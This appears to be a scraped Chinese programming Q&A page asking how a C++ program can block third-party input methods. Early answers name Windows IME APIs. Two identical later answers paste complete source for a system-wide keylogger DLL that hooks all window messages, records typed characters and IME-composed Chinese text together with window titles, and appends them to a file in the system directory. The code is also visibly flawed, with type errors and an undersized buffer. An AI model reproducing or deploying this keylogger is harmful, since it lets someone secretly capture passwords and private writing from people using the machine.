问题描述
- C++如何屏蔽某些输入法?
-
前几天碰到一个程序,输入中文的时候只能用微软的拼音中文输入法,用百度,搜狗的输入都变成了英文字符。(输入法面板正常显示也能正常切换)想知道这是怎么实现的?
解决方案
在控制面板中语言和区域设置下
解决方案二:
控制台可以控制输入法的api如下:
GetKeyboardLayoutList //获得系统中存在的输入法列表
ActivateKeyboardLayout //切换到指定的输入法
LoadKeyboardLayout //加载一种新的输入法
具体使用方法,可百度搜搜。
解决方案三:
控制台可以控制输入法的api如下:
GetKeyboardLayoutList //获得系统中存在的输入法列表
ActivateKeyboardLayout //切换到指定的输入法
LoadKeyboardLayout //加载一种新的输入法
具体使用方法,可百度搜搜。
解决方案四:
MSDN中对输入法的相关文档在About Input Method Editor系列文章里面,可以查看下。具体屏蔽输入法,只允许原始的键盘输入即所得,可以简单地用下面的代码实现:
hImcId = ::ImmGetContext(m_recID);
if (hImcId) {
::ImmAssociateContext(m_recID, NULL);
......<br/><strong>答案就在这里:</strong><a target='_blank' rel='nofollow' href='http://blog.csdn.net/kesalin/article/details/2603975'>如何屏蔽输入法</a><br/>
解决方案五:
先实现钩子
#include "windows.h" #include "imm.h" #include "stdio.h" //#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄 HINSTANCE g_hHinstance = NULL; //程序句柄 HWND LastFocusWnd = 0;//上一次句柄,必须使全局的 HWND FocusWnd; //当前窗口句柄,必须使全局的 char title[256]; //获得窗口名字 char ftemp; //begin/end 写到文件里面 char temptitle[256]="<<标题:"; //<<标题:窗口名字>> char t[2]={0,0}; //捕获单个字母 void writefile(char *lpstr) {//保存为文件 FILE f1; char cmd[256]; GetSystemDirectory(cmd,256); strcat(cmd,"hooktxt.txt"); f1=fopen(cmd,"a+"); fwrite(lpstr,strlen(lpstr),1,f1); fclose(f1); } void writtitle() {//保存当前窗口 FocusWnd = GetActiveWindow(); if(LastFocusWnd != FocusWnd) { ftemp="n---------End----------n"; writefile(ftemp); ftemp="n--------begin---------n"; writefile(ftemp); GetWindowText(FocusWnd, title, 256); //当前窗口标题 LastFocusWnd = FocusWnd; strcat(temptitle,title); strcat(temptitle,">>n"); writefile(temptitle); } } LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char lpstr[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。 writtitle(); //保存当前窗口 writefile(lpstr); //保存为文件 ImmReleaseContext(hWnd, hIMC); } } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 { char ch,str[10]; ch=(char)(pmsg->wParam); if (ch>=32 && ch<=126) //可见字符 { writtitle(); t[0]=ch; writefile(t); } if (ch>=8 && ch<=31) //控制字符 { switch(ch) { case 8: strcpy(str,"[退格]"); break; case 9: strcpy(str,"[TAB]"); break; case 13: strcpy(str,"[Enter]"); break; default:strcpy(str,"n"); } if (strcmp(str,"n")) { writtitle(); writefile(str); } } } break; } } LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); return(lResult); } //HOOK_API BOOL InstallHook() BOOL InstallHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE; } //HOOK_API BOOL UnHook() BOOL UnHook() { return UnhookWindowsHookEx(g_hHook); } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=HINSTANCE(hModule); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); break; } return TRUE; }
然后实现接收钩子的信息.
解决方案六:
先实现钩子
#include "windows.h" #include "imm.h" #include "stdio.h" //#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄 HINSTANCE g_hHinstance = NULL; //程序句柄 HWND LastFocusWnd = 0;//上一次句柄,必须使全局的 HWND FocusWnd; //当前窗口句柄,必须使全局的 char title[256]; //获得窗口名字 char ftemp; //begin/end 写到文件里面 char temptitle[256]="<<标题:"; //<<标题:窗口名字>> char t[2]={0,0}; //捕获单个字母 void writefile(char *lpstr) {//保存为文件 FILE f1; char cmd[256]; GetSystemDirectory(cmd,256); strcat(cmd,"hooktxt.txt"); f1=fopen(cmd,"a+"); fwrite(lpstr,strlen(lpstr),1,f1); fclose(f1); } void writtitle() {//保存当前窗口 FocusWnd = GetActiveWindow(); if(LastFocusWnd != FocusWnd) { ftemp="n---------End----------n"; writefile(ftemp); ftemp="n--------begin---------n"; writefile(ftemp); GetWindowText(FocusWnd, title, 256); //当前窗口标题 LastFocusWnd = FocusWnd; strcat(temptitle,title); strcat(temptitle,">>n"); writefile(temptitle); } } LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char lpstr[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。 writtitle(); //保存当前窗口 writefile(lpstr); //保存为文件 ImmReleaseContext(hWnd, hIMC); } } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 { char ch,str[10]; ch=(char)(pmsg->wParam); if (ch>=32 && ch<=126) //可见字符 { writtitle(); t[0]=ch; writefile(t); } if (ch>=8 && ch<=31) //控制字符 { switch(ch) { case 8: strcpy(str,"[退格]"); break; case 9: strcpy(str,"[TAB]"); break; case 13: strcpy(str,"[Enter]"); break; default:strcpy(str,"n"); } if (strcmp(str,"n")) { writtitle(); writefile(str); } } } break; } } LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); return(lResult); } //HOOK_API BOOL InstallHook() BOOL InstallHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE; } //HOOK_API BOOL UnHook() BOOL UnHook() { return UnhookWindowsHookEx(g_hHook); } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=HINSTANCE(hModule); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); break; } return TRUE; }
然后实现接收钩子的信息.